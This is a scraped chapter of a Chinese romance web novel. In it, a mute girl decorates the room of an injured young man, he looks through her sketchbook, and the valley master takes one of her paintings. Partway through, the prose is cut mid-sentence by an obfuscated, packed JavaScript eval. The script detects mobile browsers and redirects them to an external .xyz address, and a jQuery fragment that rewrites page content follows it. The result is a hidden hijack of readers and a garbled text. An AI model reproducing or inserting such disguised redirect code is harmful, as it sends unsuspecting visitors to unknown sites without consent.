默认冷灰
24号文字
方正启体

3. 谢礼

作者:宴时舟本书字数:K更新时间:
    晨起,菱纹窗柩从里支开来,院墙角落里,芭蕉探出头,玉露挂在绿叶上,朝气蓬勃,格外地赏心悦目。


    临窗边上,白瓷悬胆瓶中的兰花半数凋零。


    哑奴端来早膳,轻叩门扉后,推门而入,胡桃托盘上一碗清粥伴着两碟爽口小菜。


    谢时衡坐在案几上,正慢条斯理地享用着早膳,神情淡然,面色一日比一日红润,似乎已然习惯谷中清幽平静的日子。


    他的伤再有一月才可下地,算算时候,暗地里留下的线索足以够影卫找来。


    银婳恰巧从廊下走过,兀自天真无邪的目光望来时,一眼瞧见那无人顾暇的兰花。


    屋中人自是视而不见,眉眼间一惯的冷漠。


    “小小姐,用过早膳后,要不要随奴去梅林摘梅花,去年酿的梅花酿都被二公子要去了,咱们今年多准备些。”


    芳姨将早膳摆在凉亭中,三人一鸟一道用着早膳。


    听芳姨提起久不曾谋面的亲人时,银婳盈盈笑着颔首应下。


    谷中风光无限好,粉霞桃林与红雪梅林举案齐眉,灼灼盛景。


    三人携箩筐而来,哑奴朝二人示意后,独自踏入梅林而去。


    芳姨瞧见小小姐出门前还特意带上画具,此刻宠溺笑着道:“小小姐您自个儿玩去吧。”


    银婳灿然一笑,随后点了点头。


    画布铺开,银婳站在花海跟前,笑眼望去,远处碧空如洗,万千花枝随风颤簌,红粉漫天,幺幺其华。


    身旁处,鹦鹉随着少女的目光昂然振翅飞去,遨游间,声声啼鸣响彻天际。


    待到尽兴折返,翩然落在少女肩头,斜着脑袋欲看懂女孩所做之事,一人一鸟恰然自处。


    银婳随心所欲地挥动着手中画笔,张望间,唇畔始终挂着清浅笑意。


    只见画布上,眼前之景尽数落于其中,浓林密景色彩彰宜,芳姨与哑奴身处画中,容貌不甚明朗,却依稀可辨。


    落笔处,一只彩头鹦鹉摇头摆脑,疑神望来间,鸟喙微张,仿佛下一瞬要出声般。


    作画的少女只见背影。


    可谓画中画,传神无比,深入人心。


    待日头渐盛,芳姨招呼着哑奴一道归去,打算用过午膳歇晌再来。


    离开前,少女避开二人,就近垫起脚尖,攀折下眼前开得最茂的一枝桃花,悄然笑着往身后藏了藏。


    用过午膳后,小院中静谧无声,鹦鹉没精打采地窝在枝头打着盹,银婳暗悄悄摸到谢时衡窗檐下,银铃声悠然作响,清脆声宛如山间清涧顺流而下。


    可惜少女注意力只在窗柩上,对此动静声毫无意识。


    毛茸茸地小脑瓜子无声息地探出,小手悄然往日间瞄准的白瓷悬胆瓶够去。


    摸到冰凉触感时,唇畔笑意尚来不及展露,头顶间传来一道清冷声。


    “偷偷摸摸欲作何故?”


    谢时衡单手拄拐杖立在窗边,一手持瓷瓶,目光直白打量过来道。


    银婳不自觉地站直身子愣在原地,发间银铃轻晃,清澈得不染一丝尘杂的明亮眸子无辜望来,神情略显慌张,但很快镇定。


    指指瓶子,又指了指正捏在手里的花。


    谢时衡知晓眼前的少女口不能言,目光不着痕迹地瞥了眼藏在发间的银饰,随即错开来,眉心微蹙,深邃眸光里夹杂着安静的不悦。


    但手终究是松了。


    银婳生性纯真良善,身处富贵之家,受尽千万般宠爱长大,不会察言观色,自然也看不懂身前少年眼里的复杂。


    如愿拿到花瓶后,银婳将枯萎兰花换成桃花,随后终于露出满意笑来,眸光比漫天银河还要璨然。


    谢时衡无动于衷地看着。


    将花瓶放回原位后,谢时衡本以为相安无事正欲闭窗时,余光不经意间瞥见少女竟将那枯萎兰花埋在那棵树冠硕大的梧桐树下。


    谢时衡微顿,指节无意识地敲打门扉,直至少女背影走远,这才将窗柩无声放下,欲转身之际,在临窗边捡到了一本四四方方的画册。


    迟疑半响,谢时衡敛眉觑向院中,只树上那只傻了吧唧的鹦鹉正怔怔望着他,目光里含着惧意,却不敢上前半寸。


    无视鹦鹉,谢时衡弯腰探身将画册捞入手中,随后紧闭窗柩。


    桃枝轻颤,竹台上落下几缕花瓣,似水过无痕般,悄无声息。


    谢时衡半卧在榻上,百无聊赖间翻看起手中画册来,初时匆匆而过,内心无波澜,越往后速度越慢。


    画本中,少女用炭笔作画,画风由稚嫩到如今的圆润,每一副都生动形象地记录了她生活里遇到的独特人与物。


    明月夜里,爹娘和睦,三位兄长各有所长,大哥吟诗作赋,二兄随性饮酒,三兄剑舞,少女仰着笑脸立在被家人正中,那笑意灿烂得快要溢出来般。


    谢时衡从未见过那样温情的场面,心却被少女脸上炽阳般的笑意狠狠勾动。


    不做声间,手上继续往下翻阅。


    那是在他醒来前少女的日常。


    画中小院里的梧桐树永远苍翠,灶间哑奴忙碌身影,凉亭中芳姨正绣着花,彩头鹦鹉叽叽喳喳盘旋其中,花苑中,荡秋千的少女笑靥如花。


    ……


    画册中,少女每日都活在被爱中,笑意里充满阳光,永远的无忧无虑,烂漫美好。


    此刻,谢时衡心头对少女充满了嫉妒。


    他的少时,犹如囚牢。


    画本末处,正是他醒来那日情景。


    和风温煦,小院中四人同桌而食,在少女笔下,他似乎也能毫无违和地融入其中,眉眼间一惯的冷郁被清浅笑意取代。


    谢时衡愣了愣,脑中将那日场景都忆了一遍。


    他的脸上,何时有过如此温柔的一面?


    不,那一定不是他。


    谢时衡很快笃定否认。


    阖上画册,谢时衡清醒过来,垂眸间,眼睑下琥珀眸中氤氲着化不开的沉郁。


    许是清闲无忧太久,叫他忘记宫闱与朝廷里无处不在的波谲诡秘与阴谋算计。


    在那个肮脏巨大的黑暗漩涡里,他已然被浸没,无可自拔,无人可救,亦不愿自救。


    歇响而过,芳姨与哑奴继续去梅林采摘新鲜花瓣,银婳则在屋中长长久久的睡了一觉,醒来时只觉浑身舒服,眼尾惬意潮红。


    小院外,天外谷谷主久违到访,午后静谧被打破。


    正在屋中整理画作的银婳初始未闻,直到谷主贸然出声。


    “婳婳,快来瞧瞧,你阿兄托我给你捎带了不少新奇玩意儿。”


    院中,谷主含浅笑望来,眸光温柔道。


    银婳听得动静,眼中瞬间浮起悦意,巴巴朝外跑来,手里还裹挟着今晨时刚作的画。


    尚孩子心性的少女被早被眼前新奇吸引,将画随手搁置一旁,认


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404322|184409||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    真把玩起桌上的鲁班锁、七巧板、九连环,至于时新衣裙和珠钗,则无人问津。


    望着少女满脸笑意时,谷主在旁不出声打扰,勾唇浅笑间,眼里有着对欣慰。


    待寻到最后一味药引,这娘胎里带来的罕见寒症便可解开,他也不负故人所托。


    在此期间,她的身体万不可受寒,否则,从前经历又要上演,丢失的那段从前记忆,于她而言,未必不是好事。


    银婳认真拆解着九连环,眉头时而紧锁,时而又舒展开来,谷主瞧她解的认真,笑了笑后,随即耐心坐到一旁蒲席,倒不着急离开。


    至于小院当中的另一人,他是半分应付心思也无,能得他相救全看在银婳面上,那日若换作谷中其他人捡回少年,他都会从一而终的置之不理。


    他所立下的规矩,从不因那愚蠢可笑的慈悲心而破例。


    只少女是例外。


    或许,他所有的心甘情愿例外,只对那个让他一辈子记在心上的人。


    可惜,如今阴阳两隔,再无缘分。


    恍然出神间,谷主握茶盏的手突然碰到画卷。


    好奇心驱使下,谷主将其默不作声地打开来,谷中盛景莫如是,在他眼中数十年不变的枯燥之景在少女笔下变得鲜活灵动起来。


    原来,欢声笑语是可以被记录的。


    谷主惊诧间,打算讨要,临时想出了一个借口。


    “婳婳,谷主我正缺一副扇面,可否将此画赠予我,算作那日我帮你救人之礼如何?”


    银婳闻声望来,手中的九连环已然换成了鲁班锁。


    眸光如珠砌玉般天真,随后煞有其事地点了点头。


    “好,就这么说定了。”


    谷主爽朗笑道,随后将画□□不释手般放入手心,得意离去。


    整个午后时光,银婳独自一人端坐在凉亭间,将兄长送来的奇技淫巧全部解开后,才满足离开,小小步伐间迈得格外舒心畅快。


    身后处,谢时衡悄然凝视良久,眸光里晦暗翻涌,谷主与之对话他全然听在耳中。


    那救人之礼,救的只怕便是他吧。


    谢时衡抿唇不语,眸光望向瓷瓶中无人在意的盛放桃花,默了默,终是推开屋门,将画册放置于案几上。


    用过晚膳,芳姨操忙完明日酿酒事宜后,来到银婳屋中,开心地将大公子送来的漂亮精致衣物与配饰收纳完整,又将她的画册递过去,道:“小小姐,您的画本落在外间了。”


    银婳此时才留意到,从芳姨手中接过去后,细细检查有无缺损,才放心地装入小挎包中,看得出极为宝贝模样。


    芳姨笑了笑在旁叮嘱道:“小小姐往后再不可落下,好在丢在院子当中,容易寻到。”


    银婳认真颔首,双手不自觉间摸向挎包,确认后方才放下心来。


    这本画册是阿爹亲手送她的,里面记载了她有记忆以来的所有事,银婳整日带在身上,早已将其当做身体的一部分。


    将画册收牢后,银婳心中安然不少,很快睡去,芳姨宠溺地摇头笑了笑,随即掩门离开。


    待烛火熄灭,另一间屋子也陷入黑暗中。


    谢时衡躺在床榻上始终无眠。


    脑海中,少女明媚皓齿,笑靥如花的样子时时刻刻萦绕,那是他过去最讨厌的神情。


    只是如今,他很好奇到底是怎样之人,才会每日里都能活得如此快乐。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)